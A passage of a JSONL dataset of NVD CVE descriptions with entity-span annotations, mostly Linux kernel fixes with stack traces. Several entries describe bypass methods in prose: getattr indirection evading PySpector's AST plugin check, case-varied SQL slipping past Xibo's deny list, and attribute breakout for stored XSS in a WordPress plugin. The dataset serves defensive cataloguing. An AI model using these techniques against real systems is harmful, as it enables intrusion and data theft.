[<ffffffff80090a16>] handle_percpu_devid_irq+0x90/0x1d2\n [<ffffffff8008a9f4>] generic_handle_domain_irq+0x28/0x36\n\nAfter referring other PMU drivers like Arm, Loongarch, Csky, and Mips,\nthey don't call *_pmu_stop() to update with PERF_HES_STOPPED flag\nafter perf_event_overflow() function nor do they add PERF_HES_STOPPED\nflag checking in *_pmu_start() which don't cause this warning.\n\nThus, it's recommended to remove this unnecessary check in\nriscv_pmu_start() function to prevent this warning.", "spans": {"FILEPATH: /perf/riscv_pmu.c": [[1042, 1059]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53583"}}
{"text": "PySpector is a static analysis security testing (SAST) Framework engineered for modern Python development workflows. PySpector versions 0.1.6 and prior are affected by a security validation bypass in the plugin system. The validate_plugin_code() function in plugin_system.py, performs static AST analysis to block dangerous API calls before a plugin is trusted and executed. However, the internal resolve_name() helper only handles ast.Name and ast.Attribute node types, returning None for all others. When a plugin uses indirect function calls via getattr() (such as getattr(os, 'system')) the outer call's func node is of type ast.Call, causing resolve_name() to return None, and the security check to be silently skipped. The plugin incorrectly passes the trust workflow, and executes arbitrary system commands on the user's machine when loaded. This issue has been patched in version 0.1.7.", "spans": {"FILEPATH: plugin_system.py": [[258, 274]], "SYSTEM: Python": [[87, 93]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33139"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix warning in ext4_iomap_begin as race between bmap and write\n\nWe got issue as follows:\n------------[ cut here ]------------\nWARNING: CPU: 3 PID: 9310 at fs/ext4/inode.c:3441 ext4_iomap_begin+0x182/0x5d0\nRIP: 0010:ext4_iomap_begin+0x182/0x5d0\nRSP: 0018:ffff88812460fa08 EFLAGS: 00010293\nRAX: ffff88811f168000 RBX: 0000000000000000 RCX: ffffffff97793c12\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003\nRBP: ffff88812c669160 R08: ffff88811f168000 R09: ffffed10258cd20f\nR10: ffff88812c669077 R11: ffffed10258cd20e R12: 0000000000000001\nR13: 00000000000000a4 R14: 000000000000000c R15: ffff88812c6691ee\nFS:  00007fd0d6ff3740(0000) GS:ffff8883af180000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fd0d6dda290 CR3: 0000000104a62000 CR4: 00000000000006e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n iomap_apply+0x119/0x570\n iomap_bmap+0x124/0x150\n ext4_bmap+0x14f/0x250\n bmap+0x55/0x80\n do_vfs_ioctl+0x952/0xbd0\n __x64_sys_ioctl+0xc6/0x170\n do_syscall_64+0x33/0x40\n entry_SYSCALL_64_after_hwframe+0x44/0xa9\n\nAbove issue may happen as follows:\n          bmap                    write\nbmap\n  ext4_bmap\n    iomap_bmap\n      ext4_iomap_begin\n                            ext4_file_write_iter\n\t\t\t      ext4_buffered_write_iter\n\t\t\t        generic_perform_write\n\t\t\t\t  ext4_da_write_begin\n\t\t\t\t    ext4_da_write_inline_data_begin\n\t\t\t\t      ext4_prepare_inline_data\n\t\t\t\t        ext4_create_inline_data\n\t\t\t\t\t  ext4_set_inode_flag(inode,\n\t\t\t\t\t\tEXT4_INODE_INLINE_DATA);\n      if (WARN_ON_ONCE(ext4_has_inline_data(inode))) ->trigger bug_on\n\nTo solved above issue hold inode lock in ext4_bamp.", "spans": {"FILEPATH: /ext4/inode.c": [[232, 245]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50082"}}
{"text": "DMA attacks on the parameter buffer used by a software SMI handler used by the driver PcdSmmDxe could lead to a TOCTOU attack on the SMI handler and lead to corruption of other ACPI fields and adjacent memory fields. DMA attacks on the parameter buffer used by a software SMI handler used by the driver PcdSmmDxe could lead to a TOCTOU attack on the SMI handler and lead to corruption of other ACPI fields and adjacent memory fields. The attack would require detailed knowledge of the PCD database contents on the current platform. This issue was discovered by Insyde engineering during a security review. This issue is fixed in Kernel 5.3: 05.36.23, Kernel 5.4: 05.44.23, Kernel 5.5: 05.52.23. Kernel 5.2 is unaffected. CWE-787 An issue was discovered in Insyde InsydeH2O with kernel 5.0 through 5.5. DMA attacks on the parameter buffer that is used by a software SMI handler (used by the PcdSmmDxe driver) could lead to a TOCTOU race-condition attack on the SMI handler, and lead to corruption of other ACPI fields and adjacent memory fields. The attack would require detailed knowledge of the PCD database contents on the current platform.", "spans": {"VULNERABILITY: TOCTOU": [[112, 118], [329, 335], [924, 930]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-32266"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntopology: Keep the cpumask unchanged when printing cpumap\n\nDuring fuzz testing, the following warning was discovered:\n\n different return values (15 and 11) from vsnprintf(\"%*pbl\n \", ...)\n\n test:keyward is WARNING in kvasprintf\n WARNING: CPU: 55 PID: 1168477 at lib/kasprintf.c:30 kvasprintf+0x121/0x130\n Call Trace:\n  kvasprintf+0x121/0x130\n  kasprintf+0xa6/0xe0\n  bitmap_print_to_buf+0x89/0x100\n  core_siblings_list_read+0x7e/0xb0\n  kernfs_file_read_iter+0x15b/0x270\n  new_sync_read+0x153/0x260\n  vfs_read+0x215/0x290\n  ksys_read+0xb9/0x160\n  do_syscall_64+0x56/0x100\n  entry_SYSCALL_64_after_hwframe+0x78/0xe2\n\nThe call trace shows that kvasprintf() reported this warning during the\nprinting of core_siblings_list. kvasprintf() has several steps:\n\n (1) First, calculate the length of the resulting formatted string.\n\n (2) Allocate a buffer based on the returned length.\n\n (3) Then, perform the actual string formatting.\n\n (4) Check whether the lengths of the formatted strings returned in\n     steps (1) and (2) are consistent.\n\nIf the core_cpumask is modified between steps (1) and (3), the lengths\nobtained in these two steps may not match. Indeed our test includes cpu\nhotplugging, which should modify core_cpumask while printing.\n\nTo fix this issue, cache the cpumask into a temporary variable before\ncalling cpumap_print_{list, cpumask}_to_buf(), to keep it unchanged\nduring the printing process.", "spans": {"FILEPATH: kasprintf.c": [[334, 345]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57917"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: memory-failure: update ttu flag inside unmap_poisoned_folio\n\nPatch series \"mm: memory_failure: unmap poisoned folio during migrate\nproperly\", v3.\n\nFix two bugs during folio migration if the folio is poisoned.\n\n\nThis patch (of 3):\n\nCommit 6da6b1d4a7df (\"mm/hwpoison: convert TTU_IGNORE_HWPOISON to\nTTU_HWPOISON\") introduce TTU_HWPOISON to replace TTU_IGNORE_HWPOISON in\norder to stop send SIGBUS signal when accessing an error page after a\nmemory error on a clean folio.  However during page migration, anon folio\nmust be set with TTU_HWPOISON during unmap_*().  For pagecache we need\nsome policy just like the one in hwpoison_user_mappings to set this flag. \nSo move this policy from hwpoison_user_mappings to unmap_poisoned_folio to\nhandle this warning properly.\n\nWarning will be produced during unamp poison folio with the following log:\n\n  ------------[ cut here ]------------\n  WARNING: CPU: 1 PID: 365 at mm/rmap.c:1847 try_to_unmap_one+0x8fc/0xd3c\n  Modules linked in:\n  CPU: 1 UID: 0 PID: 365 Comm: bash Tainted: G        W          6.13.0-rc1-00018-gacdb4bbda7ab #42\n  Tainted: [W]=WARN\n  Hardware name: QEMU QEMU Virtual Machine, BIOS 0.0.0 02/06/2015\n  pstate: 20400005 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : try_to_unmap_one+0x8fc/0xd3c\n  lr : try_to_unmap_one+0x3dc/0xd3c\n  Call trace:\n   try_to_unmap_one+0x8fc/0xd3c (P)\n   try_to_unmap_one+0x3dc/0xd3c (L)\n   rmap_walk_anon+0xdc/0x1f8\n   rmap_walk+0x3c/0x58\n   try_to_unmap+0x88/0x90\n   unmap_poisoned_folio+0x30/0xa8\n   do_migrate_range+0x4a0/0x568\n   offline_pages+0x5a4/0x670\n   memory_block_action+0x17c/0x374\n   memory_subsys_offline+0x3c/0x78\n   device_offline+0xa4/0xd0\n   state_store+0x8c/0xf0\n   dev_attr_store+0x18/0x2c\n   sysfs_kf_write+0x44/0x54\n   kernfs_fop_write_iter+0x118/0x1a8\n   vfs_write+0x3a8/0x4bc\n   ksys_write+0x6c/0xf8\n   __arm64_sys_write+0x1c/0x28\n   invoke_syscall+0x44/0x100\n   el0_svc_common.constprop.0+0x40/0xe0\n   do_el0_svc+0x1c/0x28\n   el0_svc+0x30/0xd0\n   el0t_64_sync_handler+0xc8/0xcc\n   el0t_64_sync+0x198/0x19c\n  ---[ end trace 0000000000000000 ]---\n\n[mawupeng1@huawei.com: unmap_poisoned_folio(): remove shadowed local `mapping', per Miaohe]", "spans": {"DOMAIN: huawei.com": [[2154, 2164]], "FILEPATH: /06/2015": [[1225, 1233]], "FILEPATH: rmap.c": [[986, 992]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1185, 1189], [1190, 1194]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21907"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hamradio: fix memory leak in mkiss_close\n\nMy local syzbot instance hit memory leak in\nmkiss_open()[1]. The problem was in missing\nfree_netdev() in mkiss_close().\n\nIn mkiss_open() netdevice is allocated and then\nregistered, but in mkiss_close() netdevice was\nonly unregistered, but not freed.\n\nFail log:\n\nBUG: memory leak\nunreferenced object 0xffff8880281ba000 (size 4096):\n  comm \"syz-executor.1\", pid 11443, jiffies 4295046091 (age 17.660s)\n  hex dump (first 32 bytes):\n    61 78 30 00 00 00 00 00 00 00 00 00 00 00 00 00  ax0.............\n    00 27 fa 2a 80 88 ff ff 00 00 00 00 00 00 00 00  .'.*............\n  backtrace:\n    [<ffffffff81a27201>] kvmalloc_node+0x61/0xf0\n    [<ffffffff8706e7e8>] alloc_netdev_mqs+0x98/0xe80\n    [<ffffffff84e64192>] mkiss_open+0xb2/0x6f0 [1]\n    [<ffffffff842355db>] tty_ldisc_open+0x9b/0x110\n    [<ffffffff84236488>] tty_set_ldisc+0x2e8/0x670\n    [<ffffffff8421f7f3>] tty_ioctl+0xda3/0x1440\n    [<ffffffff81c9f273>] __x64_sys_ioctl+0x193/0x200\n    [<ffffffff8911263a>] do_syscall_64+0x3a/0xb0\n    [<ffffffff89200068>] entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nBUG: memory leak\nunreferenced object 0xffff8880141a9a00 (size 96):\n  comm \"syz-executor.1\", pid 11443, jiffies 4295046091 (age 17.660s)\n  hex dump (first 32 bytes):\n    e8 a2 1b 28 80 88 ff ff e8 a2 1b 28 80 88 ff ff  ...(.......(....\n    98 92 9c aa b0 40 02 00 00 00 00 00 00 00 00 00  .....@..........\n  backtrace:\n    [<ffffffff8709f68b>] __hw_addr_create_ex+0x5b/0x310\n    [<ffffffff8709fb38>] __hw_addr_add_ex+0x1f8/0x2b0\n    [<ffffffff870a0c7b>] dev_addr_init+0x10b/0x1f0\n    [<ffffffff8706e88b>] alloc_netdev_mqs+0x13b/0xe80\n    [<ffffffff84e64192>] mkiss_open+0xb2/0x6f0 [1]\n    [<ffffffff842355db>] tty_ldisc_open+0x9b/0x110\n    [<ffffffff84236488>] tty_set_ldisc+0x2e8/0x670\n    [<ffffffff8421f7f3>] tty_ioctl+0xda3/0x1440\n    [<ffffffff81c9f273>] __x64_sys_ioctl+0x193/0x200\n    [<ffffffff8911263a>] do_syscall_64+0x3a/0xb0\n    [<ffffffff89200068>] entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nBUG: memory leak\nunreferenced object 0xffff8880219bfc00 (size 512):\n  comm \"syz-executor.1\", pid 11443, jiffies 4295046091 (age 17.660s)\n  hex dump (first 32 bytes):\n    00 a0 1b 28 80 88 ff ff 80 8f b1 8d ff ff ff ff  ...(............\n    80 8f b1 8d ff ff ff ff 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<ffffffff81a27201>] kvmalloc_node+0x61/0xf0\n    [<ffffffff8706eec7>] alloc_netdev_mqs+0x777/0xe80\n    [<ffffffff84e64192>] mkiss_open+0xb2/0x6f0 [1]\n    [<ffffffff842355db>] tty_ldisc_open+0x9b/0x110\n    [<ffffffff84236488>] tty_set_ldisc+0x2e8/0x670\n    [<ffffffff8421f7f3>] tty_ioctl+0xda3/0x1440\n    [<ffffffff81c9f273>] __x64_sys_ioctl+0x193/0x200\n    [<ffffffff8911263a>] do_syscall_64+0x3a/0xb0\n    [<ffffffff89200068>] entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nBUG: memory leak\nunreferenced object 0xffff888029b2b200 (size 256):\n  comm \"syz-executor.1\", pid 11443, jiffies 4295046091 (age 17.660s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................\n  backtrace:\n    [<ffffffff81a27201>] kvmalloc_node+0x61/0xf0\n    [<ffffffff8706f062>] alloc_netdev_mqs+0x912/0xe80\n    [<ffffffff84e64192>] mkiss_open+0xb2/0x6f0 [1]\n    [<ffffffff842355db>] tty_ldisc_open+0x9b/0x110\n    [<ffffffff84236488>] tty_set_ldisc+0x2e8/0x670\n    [<ffffffff8421f7f3>] tty_ioctl+0xda3/0x1440\n    [<ffffffff81c9f273>] __x64_sys_ioctl+0x193/0x200\n    [<ffffffff8911263a>] do_syscall_64+0x3a/0xb0\n    [<ffffffff89200068>] entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[88, 99], [145, 156], [383, 394], [1175, 1186], [2078, 2089], [2870, 2881]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47237"}}
{"text": "A flaw in the binding process of Govee’s cloud platform and devices allows a remote attacker to bind an existing, online Govee device to the attacker’s account, resulting in full control of the device and removal of the device from its legitimate owner’s account.\nThe server‑side API allows device association using a set of identifiers: \"device\", \"sku\", \"type\", and a client‑computed \"value\", that are not cryptographically bound to a secret originating from the device itself.\n\nThe vulnerability has been verified for the Govee H6056 - lamp device in firmware version 1.08.13, but may affect also other Govee cloud‑connected devices. The vendor is investigating other potentially affected models.\n\nThe vendor has deployed server-side security enhancements and automatic firmware updates for model H6056. Most of H6056 devices have been successfully patched through automatic updates. Remaining H6056 users with upgradeable hardware versions must manually update firmware through the Govee Home app while keeping their device WiFi-connected. Users should open the Govee Home app, tap their H6056 device card to enter the device details page, tap the settings icon in the upper right corner, navigate to Device Information section (Firmware Version), and tap the Update button to install the security patch immediately.\n \nGovee H6056 devices with hardware versions 1.00.10 or 1.00.11 cannot receive firmware update due to hardware limitations.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-10910"}}
{"text": "The ShortPixel Image Optimizer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the attachment post_title in all versions up to, and including, 6.4.3. This is due to insufficient output escaping in the getEditorPopup() function and its corresponding media-popup.php template. Specifically, the attachment's post_title is retrieved from the database via get_post() in AjaxController.php (line 435) and passed directly to the view template (line 449), where it is rendered into an HTML input element's value attribute without esc_attr() escaping (media-popup.php line 139). Since WordPress allows Authors to set arbitrary attachment titles (including double-quote characters) via the REST API, a malicious author can craft an attachment title that breaks out of the HTML attribute and injects arbitrary JavaScript event handlers. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute whenever a higher-privileged user (such as an administrator) opens the ShortPixel AI editor popup (Background Removal or Image Upscale) for the poisoned attachment.", "spans": {"FILEPATH: popup.php": [[277, 286], [572, 581]], "FILEPATH: AjaxController.php": [[388, 406]], "SYSTEM: WordPress": [[42, 51], [599, 608]], "VULNERABILITY: Cross-Site Scripting": [[76, 96]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4335"}}
{"text": "A vulnerability has been identified in SIMATIC ET 200AL IM 157-1 PN (6ES7157-1AB00-0AB0) (All versions), SIMATIC ET 200MP IM 155-5 PN HF (6ES7155-5AA00-0AC0) (All versions >= V4.2.0), SIMATIC ET 200SP IM 155-6 MF HF (6ES7155-6MU00-0CN0) (All versions), SIMATIC ET 200SP IM 155-6 PN HA (incl. SIPLUS variants) (All versions < V1.3), SIMATIC ET 200SP IM 155-6 PN R1 (6ES7155-6AU00-0HM0) (All versions < V6.0.1), SIMATIC ET 200SP IM 155-6 PN/2 HF (6ES7155-6AU01-0CN0) (All versions >= V4.2.0), SIMATIC ET 200SP IM 155-6 PN/3 HF (6ES7155-6AU30-0CN0) (All versions < V4.2.2), SIMATIC PN/MF Coupler (6ES7158-3MU10-0XA0) (All versions), SIMATIC PN/PN Coupler (6ES7158-3AD10-0XA0) (All versions < V6.0.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-2AC0) (All versions >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF (6AG1155-5AA00-7AC0) (All versions >= V4.2.0), SIPLUS ET 200MP IM 155-5 PN HF T1 RAIL (6AG2155-5AA00-1AC0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-2CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF (6AG1155-6AU01-7CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF T1 RAIL (6AG2155-6AU01-1CN0) (All versions >= V4.2.0), SIPLUS ET 200SP IM 155-6 PN HF TX RAIL (6AG2155-6AU01-4CN0) (All versions >= V4.2.0), SIPLUS NET PN/PN Coupler (6AG2158-3AD10-4XA0) (All versions < V6.0.0). Affected devices do not properly handle S7 protocol session disconnect requests. When receiving a valid S7 protocol Disconnect Request (COTP DR TPDU) on TCP port 102, the devices enter an improper session state.\r\n\r\nThis could allow an attacker to cause the device to become unresponsive, leading to a denial-of-service condition that requires a power cycle to restore normal operation.", "spans": {"VULNERABILITY: denial-of-service": [[1640, 1657]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40944"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Fix data races in unix_release_sock/unix_stream_sendmsg\n\nA data-race condition has been identified in af_unix. In one data path,\nthe write function unix_release_sock() atomically writes to\nsk->sk_shutdown using WRITE_ONCE. However, on the reader side,\nunix_stream_sendmsg() does not read it atomically. Consequently, this\nissue is causing the following KCSAN splat to occur:\n\n\tBUG: KCSAN: data-race in unix_release_sock / unix_stream_sendmsg\n\n\twrite (marked) to 0xffff88867256ddbb of 1 bytes by task 7270 on cpu 28:\n\tunix_release_sock (net/unix/af_unix.c:640)\n\tunix_release (net/unix/af_unix.c:1050)\n\tsock_close (net/socket.c:659 net/socket.c:1421)\n\t__fput (fs/file_table.c:422)\n\t__fput_sync (fs/file_table.c:508)\n\t__se_sys_close (fs/open.c:1559 fs/open.c:1541)\n\t__x64_sys_close (fs/open.c:1541)\n\tx64_sys_call (arch/x86/entry/syscall_64.c:33)\n\tdo_syscall_64 (arch/x86/entry/common.c:?)\n\tentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\n\tread to 0xffff88867256ddbb of 1 bytes by task 989 on cpu 14:\n\tunix_stream_sendmsg (net/unix/af_unix.c:2273)\n\t__sock_sendmsg (net/socket.c:730 net/socket.c:745)\n\t____sys_sendmsg (net/socket.c:2584)\n\t__sys_sendmmsg (net/socket.c:2638 net/socket.c:2724)\n\t__x64_sys_sendmmsg (net/socket.c:2753 net/socket.c:2750 net/socket.c:2750)\n\tx64_sys_call (arch/x86/entry/syscall_64.c:33)\n\tdo_syscall_64 (arch/x86/entry/common.c:?)\n\tentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\n\tvalue changed: 0x01 -> 0x03\n\nThe line numbers are related to commit dd5a440a31fa (\"Linux 6.9-rc7\").\n\nCommit e1d09c2c2f57 (\"af_unix: Fix data races around sk->sk_shutdown.\")\naddressed a comparable issue in the past regarding sk->sk_shutdown.\nHowever, it overlooked resolving this particular data path.\nThis patch only offending unix_stream_sendmsg() function, since the\nother reads seem to be protected by unix_state_lock() as discussed in", "spans": {"FILEPATH: /unix/af_unix.c": [[617, 632], [656, 671], [1116, 1131]], "FILEPATH: /x86/entry/syscall_64.c": [[893, 916], [1376, 1399]], "FILEPATH: /x86/entry/common.c": [[941, 960], [1424, 1443]], "FILEPATH: /x86/entry/entry_64.S": [[1001, 1022], [1484, 1505]], "FILEPATH: socket.c": [[695, 703], [712, 720], [1159, 1167], [1176, 1184], [1212, 1220], [1248, 1256], [1266, 1274], [1306, 1314], [1324, 1332], [1342, 1350]], "FILEPATH: file_table.c": [[739, 751], [774, 786]], "FILEPATH: open.c": [[812, 818], [827, 833], [861, 867]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[1596, 1601]], "VULNERABILITY: race condition": [[142, 156]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-38596"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: Intel: sof-nau8825: fix module alias overflow\n\nThe maximum name length for a platform_device_id entry is 20 characters\nincluding the trailing NUL byte. The sof_nau8825.c file exceeds that,\nwhich causes an obscure error message:\n\nsound/soc/intel/boards/snd-soc-sof_nau8825.mod.c:35:45: error: illegal character encoding in string literal [-Werror,-Winvalid-source-encoding]\nMODULE_ALIAS(\"platform:adl_max98373_nau8825<U+0018><AA>\");\n                                                   ^~~~\ninclude/linux/module.h:168:49: note: expanded from macro 'MODULE_ALIAS'\n                                                ^~~~~~\ninclude/linux/module.h:165:56: note: expanded from macro 'MODULE_INFO'\n                                                       ^~~~\ninclude/linux/moduleparam.h:26:47: note: expanded from macro '__MODULE_INFO'\n                = __MODULE_INFO_PREFIX __stringify(tag) \"=\" info\n\nI could not figure out how to make the module handling robust enough\nto handle this better, but as a quick fix, using slightly shorter\nnames that are still unique avoids the build issue.", "spans": {"FILEPATH: /soc/intel/boards/snd-soc-sof_nau8825.mod.c": [[309, 352]], "FILEPATH: /linux/module.h": [[570, 585], [697, 712]], "FILEPATH: /linux/moduleparam.h": [[828, 848]], "FILEPATH: sof_nau8825.c": [[231, 244]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[75, 80]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48889"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmtd: core: add missing of_node_get() in dynamic partitions code\n\nThis fixes unbalanced of_node_put():\n[    1.078910] 6 cmdlinepart partitions found on MTD device gpmi-nand\n[    1.085116] Creating 6 MTD partitions on \"gpmi-nand\":\n[    1.090181] 0x000000000000-0x000008000000 : \"nandboot\"\n[    1.096952] 0x000008000000-0x000009000000 : \"nandfit\"\n[    1.103547] 0x000009000000-0x00000b000000 : \"nandkernel\"\n[    1.110317] 0x00000b000000-0x00000c000000 : \"nanddtb\"\n[    1.115525] ------------[ cut here ]------------\n[    1.120141] refcount_t: addition on 0; use-after-free.\n[    1.125328] WARNING: CPU: 0 PID: 1 at lib/refcount.c:25 refcount_warn_saturate+0xdc/0x148\n[    1.133528] Modules linked in:\n[    1.136589] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 6.0.0-rc7-next-20220930-04543-g8cf3f7\n[    1.146342] Hardware name: Freescale i.MX8DXL DDR3L EVK (DT)\n[    1.151999] pstate: 600000c5 (nZCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[    1.158965] pc : refcount_warn_saturate+0xdc/0x148\n[    1.163760] lr : refcount_warn_saturate+0xdc/0x148\n[    1.168556] sp : ffff800009ddb080\n[    1.171866] x29: ffff800009ddb080 x28: ffff800009ddb35a x27: 0000000000000002\n[    1.179015] x26: ffff8000098b06ad x25: ffffffffffffffff x24: ffff0a00ffffff05\n[    1.186165] x23: ffff00001fdf6470 x22: ffff800009ddb367 x21: 0000000000000000\n[    1.193314] x20: ffff00001fdfebe8 x19: ffff00001fdfec50 x18: ffffffffffffffff\n[    1.200464] x17: 0000000000000000 x16: 0000000000000118 x15: 0000000000000004\n[    1.207614] x14: 0000000000000fff x13: ffff800009bca248 x12: 0000000000000003\n[    1.214764] x11: 00000000ffffefff x10: c0000000ffffefff x9 : 4762cb2ccb52de00\n[    1.221914] x8 : 4762cb2ccb52de00 x7 : 205d313431303231 x6 : 312e31202020205b\n[    1.229063] x5 : ffff800009d55c1f x4 : 0000000000000001 x3 : 0000000000000000\n[    1.236213] x2 : 0000000000000000 x1 : ffff800009954be6 x0 : 000000000000002a\n[    1.243365] Call trace:\n[    1.245806]  refcount_warn_saturate+0xdc/0x148\n[    1.250253]  kobject_get+0x98/0x9c\n[    1.253658]  of_node_get+0x20/0x34\n[    1.257072]  of_fwnode_get+0x3c/0x54\n[    1.260652]  fwnode_get_nth_parent+0xd8/0xf4\n[    1.264926]  fwnode_full_name_string+0x3c/0xb4\n[    1.269373]  device_node_string+0x498/0x5b4\n[    1.273561]  pointer+0x41c/0x5d0\n[    1.276793]  vsnprintf+0x4d8/0x694\n[    1.280198]  vprintk_store+0x164/0x528\n[    1.283951]  vprintk_emit+0x98/0x164\n[    1.287530]  vprintk_default+0x44/0x6c\n[    1.291284]  vprintk+0xf0/0x134\n[    1.294428]  _printk+0x54/0x7c\n[    1.297486]  of_node_release+0xe8/0x128\n[    1.301326]  kobject_put+0x98/0xfc\n[    1.304732]  of_node_put+0x1c/0x28\n[    1.308137]  add_mtd_device+0x484/0x6d4\n[    1.311977]  add_mtd_partitions+0xf0/0x1d0\n[    1.316078]  parse_mtd_partitions+0x45c/0x518\n[    1.320439]  mtd_device_parse_register+0xb0/0x274\n[    1.325147]  gpmi_nand_probe+0x51c/0x650\n[    1.329074]  platform_probe+0xa8/0xd0\n[    1.332740]  really_probe+0x130/0x334\n[    1.336406]  __driver_probe_device+0xb4/0xe0\n[    1.340681]  driver_probe_device+0x3c/0x1f8\n[    1.344869]  __driver_attach+0xdc/0x1a4\n[    1.348708]  bus_for_each_dev+0x80/0xcc\n[    1.352548]  driver_attach+0x24/0x30\n[    1.356127]  bus_add_driver+0x108/0x1f4\n[    1.359967]  driver_register+0x78/0x114\n[    1.363807]  __platform_driver_register+0x24/0x30\n[    1.368515]  gpmi_nand_driver_init+0x1c/0x28\n[    1.372798]  do_one_initcall+0xbc/0x238\n[    1.376638]  do_initcall_level+0x94/0xb4\n[    1.380565]  do_initcalls+0x54/0x94\n[    1.384058]  do_basic_setup+0x1c/0x28\n[    1.387724]  kernel_init_freeable+0x110/0x188\n[    1.392084]  kernel_init+0x20/0x1a0\n[    1.395578]  ret_from_fork+0x10/0x20\n[    1.399157] ---[ end trace 0000000000000000 ]---\n[    1.403782] ------------[ cut here ]------------", "spans": {"FILEPATH: refcount.c": [[685, 695]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[624, 638]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50283"}}
{"text": "Xibo is a content management system (CMS). An SQL injection vulnerability was discovered in the `/dataset/data/{id}` API route inside the CMS starting in version 1.4.0 and prior to versions 2.3.17 and 3.3.5. This allows an authenticated user to exfiltrate data from the Xibo database by injecting specially crafted values in to the `filter` parameter. Values allowed in the filter parameter are checked against a deny list of commands that should not be allowed, however this checking was done in a case sensitive manor and so it is possible to bypass these checks by using unusual case combinations. Users should upgrade to version 2.3.17 or 3.3.5, which fix this issue. There are no workarounds aside from upgrading.", "spans": {"FILEPATH: /dataset/data": [[97, 110]], "VULNERABILITY: SQL injection": [[46, 59]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-33178"}}
{"text": "A vulnerability has been identified in SIMATIC STEP 7 Safety V16 (All versions < V16 Update 7), SIMATIC STEP 7 Safety V17 (All versions < V17 Update 7), SIMATIC STEP 7 Safety V18 (All versions < V18 Update 2), SIMATIC STEP 7 V16 (All versions < V16 Update 7), SIMATIC STEP 7 V17 (All versions < V17 Update 7), SIMATIC STEP 7 V18 (All versions < V18 Update 2), SIMATIC WinCC Unified V16 (All versions < V16 Update 7), SIMATIC WinCC Unified V17 (All versions < V17 Update 7), SIMATIC WinCC Unified V18 (All versions < V18 Update 2), SIMATIC WinCC V16 (All versions < V16.7), SIMATIC WinCC V17 (All versions < V17.7), SIMATIC WinCC V18 (All versions < V18 Update 2), SIMOCODE ES V16 (All versions < V16 Update 7), SIMOCODE ES V17 (All versions < V17 Update 7), SIMOCODE ES V18 (All versions < V18 Update 2), SIMOTION SCOUT TIA V5.4 SP1 (All versions), SIMOTION SCOUT TIA V5.4 SP3 (All versions), SIMOTION SCOUT TIA V5.5 SP1 (All versions), SINAMICS Startdrive V16 (All versions), SINAMICS Startdrive V17 (All versions), SINAMICS Startdrive V18 (All versions), SIRIUS Safety ES V17 (All versions < V17 Update 7), SIRIUS Safety ES V18 (All versions < V18 Update 2), SIRIUS Soft Starter ES V17 (All versions < V17 Update 7), SIRIUS Soft Starter ES V18 (All versions < V18 Update 2), Soft Starter ES V16 (All versions < V16 Update 7), TIA Portal Cloud V3.0 (All versions < V18 Update 2). Affected applications do not properly restrict the .NET BinaryFormatter when deserializing hardware configuration profiles. This could allow an attacker to cause a type confusion and execute arbitrary code within the affected application.\r\n\r\nThis is the same issue that exists for .NET BinaryFormatter https://docs.microsoft.com/en-us/visualstudio/code-quality/ca2300.", "spans": {"URL: https://docs.microsoft.com/en-us/visualstudio/code-quality/ca2300.": [[1683, 1749]], "VULNERABILITY: type confusion": [[1545, 1559]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-32735"}}
